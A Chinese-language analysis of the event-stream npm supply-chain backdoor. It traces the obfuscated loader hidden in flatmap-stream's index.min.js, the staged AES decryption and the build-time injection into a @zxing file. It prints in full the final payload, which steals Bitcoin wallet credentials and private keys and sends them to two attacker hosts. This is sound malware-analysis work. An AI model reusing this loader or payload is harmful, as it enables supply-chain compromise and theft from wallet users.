NPM 軟體包 event-stream 惡意篡改漏洞分析
漏洞介紹
環境搭建
下載漏洞樣本
漏洞分析
先看下git commit記錄, ofollow,noindex" target="_blank">event-stream#commite316336
可以看到@right9ctrl增加了 flatmap-stream
包的引用。
flatmap-stream
包檢視原始碼,可看到如下目錄結構。
這裡有一點很雞賊,在 node.js
中,一般預設檔案為 index.js
,然而後門作者在 package.json
中設定真正的入口檔案是 index.min.js
, index.min.js
是壓縮程式碼,難理解,不易察覺。
從命名上不難理解, index.min.js
是 index.js
的壓縮版,內容本應一樣。然而在 index.min.js
最後發現比 index.js
多出的一行程式碼:
我們大致展開這行程式碼得到下面程式碼。
!(function() { try { var r = require, t = process; function e(r) { return Buffer.from(r, "hex").toString(); } var n = r(e("2e2f746573742f64617461")), o = t[e(n[3])][e(n[4])]; if (!o) return; var u = r(e(n[2]))[e(n[6])](e(n[5]), o), a = u.update(n[0], e(n[8]), e(n[9])); a += u.final(e(n[9])); var f = new module.constructor(); (f.paths = module.paths), f[e(n[7])](a, ""), f.exports(n[1]); } catch (r) {} })();
這裡就看到了後門作者第二個雞賊點了,找到程式碼依然看不懂啥意思。由於例子特殊,這次漏洞分析就不試用斷點除錯了,我去用這段程式碼加上一些註釋和輸出去剖析它到底幹了啥。
先把前面兩段翻譯一下
// 編碼函式,下面頻繁呼叫編碼函式去解字串拼接 function e(r) { return Buffer.from(r, "hex").toString(); } var n = require(e("2e2f746573742f64617461")), o = process[e(n[3])][e(n[4])]; console.log(`require(${e("2e2f746573742f64617461")})`,`process[${e(n[3])}][${e(n[4])}]`) // require(./test/data) process[env][npm_package_description]
輸出如下:
require(./test/data) process[env][npm_package_description]
由此輸出我們得知,後門作者在這裡引用了包內的 ./test/data
這個目錄,並且用到了一個環境變數是在node專案 package.json
中的描述欄位,此欄位會在node程式執行時生成環境變數 npm_package_description
。回頭看這個目錄中的內容,是一坨加密的陣列。
後面的程式內容都是通過這串陣列去執行的。繼續分析後面的程式碼。
到後面發現無論我怎樣log都不輸出了,說明後面的程式碼根本沒有走,於是我在程式碼分支之前把後面的程式碼按照上面的方式先翻譯過來。
console.log(`var u = require(${e(n[2])})[${e(n[6])}](${e(n[5])}`) console.log(`a = u.update(${n[0]})[${e(n[8])}](${e(n[9])}`) console.log(`a += u.final(${e(n[9])})`) console.log(`var f = new module.constructor();`) console.log(`(f.paths = module.paths), f[${e(n[7])}](a, ""), f.exports(${n[1]})`) if (!o) return; var u = require(e(n[2]))[e(n[6])](e(n[5]), o), a = u.update(n[0], e(n[8]), e(n[9])); a += u.final(e(n[9])); var f = new module.constructor(); (f.paths = module.paths), f[e(n[7])](a, ""), f.exports(n[1]);
輸出如下:
這樣就好理解多了,下面有一個解密操作,解密的金鑰是 o
,剛才提到了,o是環境變數 npm_package_description
,因此後門作者是打算有針對性的去利用這個後門。只有金鑰(npm_package_description)正確才能繼續執行下面的密碼。
在Github上 I don't know what to say 這個討論中,最終有大神下載了所有的npm包描述,窮舉了金鑰。金鑰為 A Secure Bitcoin Wallet
。
我們直接把 o
設定為正確金鑰 去解密加密字串。
!(function() { try { // 編碼函式,下面頻繁呼叫編碼函式去解字串拼接 function e(r) { return Buffer.from(r, "hex").toString(); } var n = require(e("2e2f746573742f64617461")), o = process[e(n[3])][e(n[4])]; o='A Secure Bitcoin Wallet'; if (!o) return; var u = require(e(n[2]))[e(n[6])](e(n[5]), o), a = u.update(n[0], e(n[8]), e(n[9])); a += u.final(e(n[9])); console.log(`解密字串為:${a}`) var f = new module.constructor(); (f.paths = module.paths), f[e(n[7])](a, ""), f.exports(n[1]); } catch (r) {} })();
輸出下面內容:

又發現了一段程式碼。但是這段程式碼此時還是字串,為了讓其生效,後門作者new了一個module構造器,然後編譯其中的程式碼使其成為可執行的 function
。
var f = new module.constructor(); (f.paths = module.paths), f[e(n[7])](a, ""), f.exports(n[1]); console.log(`f.exports的型別是:${typeof f.exports}`)
後門作者第三個雞賊點,再來一次解密。不過思路一模一樣了。繼續格式化拿到的新程式碼:
/*@@*/ module.exports = function(e) { try { if (!/build\:.*\-release/.test(process.argv[2])) return;// 使用者使用build或者release等引數時執行下面程式碼 var t = process.env.npm_package_description,// 金鑰,還是 A Secure Bitcoin Wallet r = require("fs"), i = "./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js", n = r.statSync(i), c = r.readFileSync(i, "utf8"), o = require("crypto").createDecipher("aes256", t),// 解密出新的程式碼 s = o.update(e, "hex", "utf8"); s = "\n" + (s += o.final("utf8")); var a = c.indexOf("\n/*@@*/"); 0 <= a && (c = c.substr(0, a)), r.writeFileSync(i, c + s, "utf8"), r.utimesSync(i, n.atime, n.mtime), process.on("exit", function() { try { r.writeFileSync(i, c, "utf8"), r.utimesSync(i, n.atime, n.mtime)// 將惡意程式碼寫入到./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js中 } catch (e) {} }) } catch (e) {} };
發現這次程式碼好像沒有那麼晦澀難懂了。
在開發者執行 build
、 release
等命令時,將惡意程式碼寫入 cordova
(一個跨平臺應用開發框架)庫中的一個檔案,然後直接將惡意程式碼帶入打包的應用程式中並帶到最終的使用者終端。
下面解開最後的一段程式碼:
e = 'db67fdbfc39c249c6f3381...'; t = 'A Secure Bitcoin Wallet'; r = require("fs"), i = "./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js", n = r.statSync(i), c = r.readFileSync(i, "utf8"), o = require("crypto").createDecipher("aes256", t),// 解密出新的程式碼 s = o.update(e, "hex", "utf8"); s = "\n" + (s += o.final("utf8")); console.log(`解密後字串為${s}`); var a = c.indexOf("\n/*@@*/"); 0 <= a && (c = c.substr(0, a)), r.writeFileSync(i, c + s, "utf8"), r.utimesSync(i, n.atime, n.mtime), process.on("exit", function() { try { r.writeFileSync(i, c, "utf8"), r.utimesSync(i, n.atime, n.mtime)// 將惡意程式碼寫入到./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js中 } catch (e) {} })
輸出結果:
格式化最後一段程式碼,終於發現了後門作者的意圖:
/*@@*/ ! function() { function e() { try { var o = require("http"), a = require("crypto"), c = "-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\\n2wIDAQAB\\n-----END PUBLIC KEY-----"; // 傳送http請求,引數為:主機地址,路徑,資料 function i(e, t, n) { e = Buffer.from(e, "hex").toString(); var r = o.request({ hostname: e, port: 8080, method: "POST", path: "/" + t, headers: { "Content-Length": n.length, "Content-Type": "text/html" } }, function() {}); r.on("error", function(e) {}), r.write(n), r.end() } // 加密資料併發送到兩臺不同的伺服器 function r(e, t) { for (var n = "", r = 0; r < t.length; r += 200) { var o = t.substr(r, 200); n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+" } i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n) } // 獲取檔案 function l(t, n) { if (window.cordova) try { var e = cordova.file.dataDirectory; resolveLocalFileSystemURL(e, function(e) { e.getFile(t, { create: !1 }, function(e) { e.file(function(e) { var t = new FileReader; t.onloadend = function() { return n(JSON.parse(t.result)) }, t.onerror = function(e) { t.abort() }, t.readAsText(e) }) }) }) } catch (e) {} else { try { var r = localStorage.getItem(t); if (r) return n(JSON.parse(r)) } catch (e) {} try { chrome.storage.local.get(t, function(e) { if (e) return n(JSON.parse(e[t])) }) } catch (e) {} } } // 獲取使用者賬號的詳細資訊併發送 global.CSSMap = {}, l("profile", function(e) { for (var t in e.credentials) { var n = e.credentials[t]; "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) { var t = this; t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t))) }.bind(n)) } }); // 重寫bitcore-wallet-client/lib/credentials.js中的getKeysFunc函式,傳送使用者虛擬錢包私鑰 var e = require("bitcore-wallet-client/lib/credentials.js"); e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) { var t = this.getKeysFunc(e); try { global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\\t" + this.xPubKey)) } catch (e) {} return t } } catch (e) {} } window.cordova ? document.addEventListener("deviceready", e) : e() }();